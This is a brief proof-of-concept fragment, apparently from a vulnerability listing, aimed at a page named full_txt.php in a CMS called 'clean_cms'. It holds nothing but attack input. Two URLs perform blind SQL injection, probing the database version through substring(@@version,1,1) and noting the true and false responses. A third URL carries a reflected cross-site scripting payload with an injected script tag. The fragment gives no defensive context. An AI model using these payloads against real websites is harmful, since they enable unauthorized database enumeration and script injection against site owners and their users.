http://www.example.com/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=4 ( true )
http://www.example.com/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=3 ( false )

http://www.example.com/clean_cms/full_txt.php?id="><script>alert()</script>